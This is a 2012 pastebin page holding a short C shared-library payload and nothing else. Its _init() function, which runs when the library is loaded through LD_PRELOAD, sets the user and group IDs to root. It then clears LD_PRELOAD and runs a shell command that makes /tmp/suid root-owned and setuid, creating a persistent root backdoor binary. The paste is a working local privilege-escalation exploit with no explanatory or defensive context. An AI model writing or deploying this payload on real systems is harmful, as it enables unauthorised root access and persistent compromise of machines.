Guest

Untitled

By: a guest on Feb 23rd, 2012  |  syntax: None  |  size: 0.23 KB  |  hits: 19  |  expires: Never
download  |  raw  |  embed  |  report abuse
Copied
  1. #include <unistd.h>
  2. #include <stdio.h>
  3. #include <sys/types.h>
  4. #include <stdlib.h>
  5.  
  6. void _init()
  7. {
  8. setgid(0);
  9. setuid(0);
  10. unsetenv("LD_PRELOAD");
  11. execl("/bin/sh","sh","-c","chown root:root /tmp/suid; chmod +s /tmp/suid",NULL);
  12. }